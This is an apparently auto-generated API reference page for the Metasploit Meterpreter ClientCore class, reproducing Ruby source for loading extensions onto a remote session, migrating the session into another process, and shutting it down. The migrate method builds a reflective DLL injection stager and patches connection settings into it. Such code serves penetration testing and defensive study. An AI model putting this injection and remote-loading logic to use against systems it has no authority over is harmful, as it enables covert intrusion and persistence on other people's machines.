Class: Rex::Post::Meterpreter::ClientCore

Inherits:
Extension
  • Object
show all
Defined in:
lib/rex/post/meterpreter/client_core.rb

Overview

This class is responsible for providing the interface to the core client-side meterpreter API which facilitates the loading of extensions and the interaction with channels.

Instance Attribute Summary

Attributes inherited from Extension

#name

Instance Method Summary collapse

Constructor Details

#initialize(client) ⇒ ClientCore

Initializes the 'core' portion of the meterpreter client commands.


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# File 'lib/rex/post/meterpreter/client_core.rb', line 28

def initialize(client)
  super(client, "core")
end

Instance Method Details

#load_library(opts) ⇒ Object

Loads a library on the remote meterpreter instance. This method supports loading both extension and non-extension libraries and also supports loading libraries from memory or disk depending on the flags that are specified

Supported flags:

LibraryFilePath The path to the library that is to be loaded

TargetFilePath The target library path when uploading

UploadLibrary Indicates whether or not the library should be uploaded

SaveToDisk Indicates whether or not the library should be saved to disk on the remote machine

Extension Indicates whether or not the library is a meterpreter extension


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# File 'lib/rex/post/meterpreter/client_core.rb', line 62

def load_library(opts)
  library_path = opts['LibraryFilePath']
  target_path  = opts['TargetFilePath']
  load_flags   = LOAD_LIBRARY_FLAG_LOCAL

  # No library path, no cookie.
  if (library_path == nil)
    raise ArgumentError, "No library file path was supplied", caller
  end

  # Set up the proper loading flags
  if (opts['UploadLibrary'])
    load_flags &= ~LOAD_LIBRARY_FLAG_LOCAL
  end
  if (opts['SaveToDisk'])
    load_flags |= LOAD_LIBRARY_FLAG_ON_DISK
  end
  if (opts['Extension'])
    load_flags |= LOAD_LIBRARY_FLAG_EXTENSION
  end

  # Create a request packet
  request = Packet.create_request('core_loadlib')

  # If we must upload the library, do so now
  if ((load_flags & LOAD_LIBRARY_FLAG_LOCAL) != LOAD_LIBRARY_FLAG_LOCAL)
    image = ''

    ::File.open(library_path, 'rb') { |f|
      image = f.read
    }

    if (image != nil)
      request.add_tlv(TLV_TYPE_DATA, image, false, client.capabilities[:zlib])
    else
      raise RuntimeError, "Failed to serialize library #{library_path}.", caller
    end

    # If it's an extension we're dealing with, rename the library
    # path of the local and target so that it gets loaded with a random
    # name
    if (opts['Extension'])
      library_path = "ext" + rand(1000000).to_s + ".#{client.binary_suffix}"
      target_path  = library_path
    end
  end

  # Add the base TLVs
  request.add_tlv(TLV_TYPE_LIBRARY_PATH, library_path)
  request.add_tlv(TLV_TYPE_FLAGS, load_flags)

  if (target_path != nil)
    request.add_tlv(TLV_TYPE_TARGET_PATH, target_path)
  end

  # Transmit the request and wait the default timeout seconds for a response
  response = self.client.send_packet_wait_response(request, self.client.response_timeout)

  # No response?
  if (response == nil)
    raise RuntimeError, "No response was received to the core_loadlib request.", caller
  elsif (response.result != 0)
    raise RuntimeError, "The core_loadlib request failed with result: #{response.result}.", caller
  end

  commands = []
  response.each(TLV_TYPE_METHOD) { |c|
    commands << c.value
  }

  return commands
end

#migrate(pid) ⇒ Object

Migrates the meterpreter instance to the process specified by pid. The connection to the server remains established.


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# File 'lib/rex/post/meterpreter/client_core.rb', line 175

def migrate( pid )
  keepalive = client.send_keepalives
  client.send_keepalives = false
  process       = nil
  binary_suffix = nil

  # Load in the stdapi extension if not allready present so we can determine the target pid architecture...
  client.core.use( "stdapi" ) if not client.ext.aliases.include?( "stdapi" )

  # Determine the architecture for the pid we are going to migrate into...
  client.sys.process.processes.each { | p |
    if( p['pid'] == pid )
      process = p
      break
    end
  }

  # We cant migrate into a process that does not exist.
  if( process == nil )
    raise RuntimeError, "Cannot migrate into non existent process", caller
  end

  # We cant migrate into a process that we are unable to open
  if( process['arch'] == nil or process['arch'].empty? )
    raise RuntimeError, "Cannot migrate into this process (insufficient privileges)", caller
  end

  # And we also cant migrate into our own current process...
  if( process['pid'] == client.sys.process.getpid )
    raise RuntimeError, "Cannot migrate into current process", caller
  end

  # Create a new payload stub
  c = Class.new( ::Msf::Payload )
  c.include( ::Msf::Payload::Stager )

  # Include the appropriate reflective dll injection module for the target process architecture...
  if( process['arch'] == ARCH_X86 )
    c.include( ::Msf::Payload::Windows::ReflectiveDllInject )
    binary_suffix = "x86.dll"
  elsif( process['arch'] == ARCH_X86_64 )
    c.include( ::Msf::Payload::Windows::ReflectiveDllInject_x64 )
    binary_suffix = "x64.dll"
  else
    raise RuntimeError, "Unsupported target architecture '#{process['arch']}' for process '#{process['name']}'.", caller
  end

  # Create the migrate stager
  migrate_stager = c.new()
  migrate_stager.datastore['DLL'] = ::File.join( Msf::Config.data_directory, "meterpreter", "metsrv.#{binary_suffix}" )

  blob = migrate_stager.stage_payload

  if client.passive_service

    # Replace the transport string first (TRANSPORT_SOCKET_SSL
    i = blob.index("METERPRETER_TRANSPORT_SSL")
    if i
      str = client.ssl ? "METERPRETER_TRANSPORT_HTTPS\x00" : "METERPRETER_TRANSPORT_HTTP\x00"
      blob[i, str.length] = str
    end

    conn_id = self.client.conn_id
    i = blob.index("https://" + ("X" * 256))
    if i
      str = self.client.url
      blob[i, str.length] = str
    end

    i = blob.index([0xb64be661].pack("V"))
    if i
      str = [ self.client.expiration ].pack("V")
      blob[i, str.length] = str
    end

    i = blob.index([0xaf79257f].pack("V"))
    if i
      str = [ self.client.comm_timeout ].pack("V")
      blob[i, str.length] = str
    end
  end

  # Build the migration request
  request = Packet.create_request( 'core_migrate' )
  request.add_tlv( TLV_TYPE_MIGRATE_PID, pid )
  request.add_tlv( TLV_TYPE_MIGRATE_LEN, blob.length )
  request.add_tlv( TLV_TYPE_MIGRATE_PAYLOAD, blob, false, client.capabilities[:zlib])
  if( process['arch'] == ARCH_X86_64 )
    request.add_tlv( TLV_TYPE_MIGRATE_ARCH, 2 ) # PROCESS_ARCH_X64
  else
    request.add_tlv( TLV_TYPE_MIGRATE_ARCH, 1 ) # PROCESS_ARCH_X86
  end

  # Send the migration request (bump up the timeout to 60 seconds)
  response = client.send_request( request, 60 )

  if client.passive_service
    # Sleep for 5 seconds to allow the full handoff, this prevents
    # the original process from stealing our loadlib requests
    ::IO.select(nil, nil, nil, 5.0)
  else
    # Prevent new commands from being sent while we finish migrating
    client.comm_mutex.synchronize do
      # Disable the socket request monitor
      client.monitor_stop

      ###
      # Now communicating with the new process
      ###

      # Renegotiate SSL over this socket
      client.swap_sock_ssl_to_plain()
      client.swap_sock_plain_to_ssl()

      # Restart the socket monitor
      client.monitor_socket
    end
  end

  # Update the meterpreter platform/suffix for loading extensions as we may have changed target architecture
  # sf: this is kinda hacky but it works. As ruby doesnt let you un-include a module this is the simplest solution I could think of.
  # If the platform specific modules Meterpreter_x64_Win/Meterpreter_x86_Win change significantly we will need a better way to do this.
  if( process['arch'] == ARCH_X86_64 )
    client.platform      = 'x64/win64'
    client.binary_suffix = 'x64.dll'
  else
    client.platform      = 'x86/win32'
    client.binary_suffix = 'x86.dll'
  end

  # Load all the extensions that were loaded in the previous instance (using the correct platform/binary_suffix)
  client.ext.aliases.keys.each { |e|
    client.core.use(e)
  }

  # Restore session keep-alives
  client.send_keepalives = keepalive

  return true
end

#shutdown ⇒ Object

Shuts the session down


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# File 'lib/rex/post/meterpreter/client_core.rb', line 319

def shutdown
  request  = Packet.create_request('core_shutdown')

  # If this is a standard TCP session, send and return
  if not client.passive_service
    self.client.send_packet(request)
  else
  # If this is a HTTP/HTTPS session we need to wait a few seconds
  # otherwise the session may not receive the command before we
  # kill the handler. This could be improved by the server side
  # sending a reply to shutdown first.
    self.client.send_packet_wait_response(request, 10)
  end
  true
end

#use(mod, opts = { }) ⇒ Object

Loads a meterpreter extension on the remote server instance and initializes the client-side extension handlers

Module The module that should be loaded

LoadFromDisk Indicates that the library should be loaded from disk, not from memory on the remote machine


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# File 'lib/rex/post/meterpreter/client_core.rb', line 146

def use(mod, opts = { })
  if (mod == nil)
    raise RuntimeError, "No modules were specified", caller
  end
  # Get us to the installation root and then into data/meterpreter, where
  # the file is expected to be
  path = ::File.join(Msf::Config.data_directory, 'meterpreter', 'ext_server_' + mod.downcase + ".#{client.binary_suffix}")

  if (opts['ExtensionPath'])
    path = opts['ExtensionPath']
  end

  path = ::File.expand_path(path)

  # Load the extension DLL
  commands = load_library(
      'LibraryFilePath' => path,
      'UploadLibrary'   => true,
      'Extension'       => true,
      'SaveToDisk'      => opts['LoadFromDisk'])
  client.add_extension(mod, commands)

  return true
end